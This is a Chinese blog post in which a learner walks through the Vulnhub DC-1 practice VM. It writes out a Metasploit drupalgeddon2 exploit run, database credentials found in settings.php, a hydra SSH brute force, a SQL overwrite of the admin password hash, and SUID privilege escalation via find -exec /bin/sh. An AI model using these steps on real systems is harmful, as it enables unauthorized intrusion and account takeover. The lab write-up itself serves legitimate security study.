Vulnhub DC-1靶机渗透学习
前言
之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西。
所以才想写点东西,记录一下
1.下载
地址https://www.vulnhub.com/entry/dc-1-1,292/

建议用镜像,快一点
使用Oracle VM VirtualBox打开

2.开始
打开虚拟机后。提示需要账号密码

这个是需要你自己去找的
于是打开kali,vmware的网络配置使用桥接网络,用
arp-scan -l
扫描

其中的 Cadmus Computer Systems即为我们的目标,打开前面的192.168.124.76,如图

这里推荐一个chrome插件,叫wappalyzer,这个可以检测网站的信息,cms,框架,服务器等等,非常棒。通过这个插件,可以得知这个网站使用的是drupalCMS
在msf中查找对应的信息
search drupal

用第5个,先
set rhosts 192.168.124.76
然后use exploit/unix/webapp/drupal_drupalgeddon2
再exploit
如图
当提示session1 open时,则已经成功进入了
执行命令shell命令获得shell
输入ls

发现有给flag1.txt的文件,打开看一下
cat flag1.txt

翻译翻译,每一个好的CMS都需要一个配置文件,你也一样。
找到这个CMS的配置文件(google)
cd sites/default
cat settings.php

这边看到了flag2
再翻译翻译
蛮力和字典攻击不是
只有获得访问的方法(您将需要访问)。
你能用这些凭证做什么?
意思是让我不要用暴力破解得方法搞密码?maybe
同时,下面有数据库账号密码
dbuser R0ck3t
直到现在还没有拿到登陆的账号密码
这边进入/etc/passwd看一下

发现有个叫flag4的账号,如何用john +hydra试着暴力破解一下
hydra是kali自带的,john需要自己安装,这个网上去找教程,这里不放出来了
hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76

然后密码就出来了。。。。。
在vm virutalBox上登陆一下

也可以用kalissh远程登陆(推荐用这个,vmbox太tm蛋疼了)
ssh flag4@192.168.124.76

然后登陆mysql
mysql -u dbuser -p

然后开始找东西
show databases;
show tables
发现有一个叫users的表

打开,发现

再百度一波,如何重置drupal的密码
用update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';
然后用password登陆,这边这个加密方法我还没搞懂
之后就可以登录之前的网站(192.168.124.76)了

登陆后,在网站里扒拉来,扒拉去,在左上的content里看到一个叫flag3的玩意

发现这是一个提示

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
提到了find和-exec,提权用的(学艺不精,看的别人的)
回到kali
find / -perm -u=s -type f 2>/dev/null
find / -type f -name getflag -exec "/bin/sh" \;
提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644
ls
cd ../..
cd /root
cat thefinalflag.txt

然后就算是告一段落了
总结
做完这个感觉自己真的很菜,在此总结一下这个过程中了解到的,学到的,以及还不懂的知识
1.arp-scan -l 用来扫描局域网内的主机。(参考https://blog.csdn.net/weixin_43221560/article/details/90550294)
2.用 msf5来reach drupal寻找漏洞,配置并使用这些漏洞(一知半解,还得好好学习),
3.ssh远程连接,如在渗透过程中使用到的 ssh flag4@192.168.124.76。挺方便的
4.john the Ripper +hydra 爆破,(john下载安装参考https://blog.csdn.net/Romanticduan/article/details/81233479,使用参考https://blog.csdn.net/qq_36119192/article/details/83373895)
hydra -l flag4 -P /root/john-1.8.0/run/password.lst ssh://192.168.124.76(也是一知半解,同样得学)
5.suid提权
find / -perm -u=s -type f 2>/dev/null
find / -type f -name getflag -exec "/bin/sh" \;
提权部分知识参考https://blog.csdn.net/qq_36119192/article/details/84872644
(这边应该更重要)
6.熟悉了linux的一些命令,文件
目前来说就想到了这些
先这样吧
Vulnhub DC-1靶机渗透学习的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-5靶机渗透
信息搜集 老样子,先找到靶机IP和扫描靶机 nmap -sP 192.168.146.0/24 #找靶机ip nmap -sS -Pn -A 192.168.146.141 #扫描端口 这次开的是80 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
随机推荐
- c++-多态的学习
多态的基本介绍 多态基础 面向对象新求 C++编译器提供的多态解决方案 多态意义.多态成立的是三个条件 多态理论基础 多态面试题强化 多态的理解 C++编译器如何实现多态 重载重写重定义 虚析构函数 ...
- css3 伪类实现右箭头→
css3 实现右箭头→ <!DOCTYPE html> <html lang="en"> <head> <meta charset=&qu ...
- javascript 获取function的所在文件,并读取代码文件
1.通过func.toString()可以获取function代码 2.要获取所在文件,需要错误调用func,根据堆栈可以获取 堆栈信息类似: at module.exports.data (d:\P ...
- alpine制作jdk、jre镜像、自定义镜像上传阿里云
alpine制作jdk镜像 alpine Linux简介 1.Alpine Linux是一个轻型Linux发行版,它不同于通常的Linux发行版,Alpine采用了musl libc 和 BusyBo ...
- PlayJava Day030
1.实例化Class类对象 //第一种,可靠高效 Class c0 = String.class ; //第二种,使用对象 Class c1 = "zhangsan".getCla ...
- How to: Recompile the Business Class Library 如何:重新编译业务类库
The eXpressApp Framework supplies the Business Class Library that consists of three assemblies. eXpr ...
- 如何实现用户的历史记录功能(最多n条)
使用容量为n的队列存储历史记录 使用标准库collections中的deque,它是一个双端循环队列 from collections import deque q = deque([], 5) #参 ...
- SQL Server解惑——为什么你的查询结果超出了查询时间范围
废话少说,直接上SQL代码(有兴趣的测试验证一下),下面这个查询语句为什么将2008-11-27的记录查询出来了呢?这个是同事遇到的一个问题,个人设计了一个例子. USE AdventureWorks ...
- 痞子衡嵌入式:飞思卡尔i.MX RTyyyy系列MCU启动那些事(2)- Boot配置(BOOT Pin/eFUSE)
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是飞思卡尔i.MX RTyyyy系列MCU的Boot配置. 在上一篇文章 Boot简介 里痞子衡为大家介绍了Boot基本原理以及i.MXR ...
- 如何使用终端默认情况下阻止Mac应用保存到iCloud
当您保存要在Mac上的Pages,Numbers,TextEdit或其他基于云的应用程序中处理的文档时,该保存的默认位置是iCloud.尽管这对某些人或某些文档来说可能是一件好事,但您可能会厌倦每次更 ...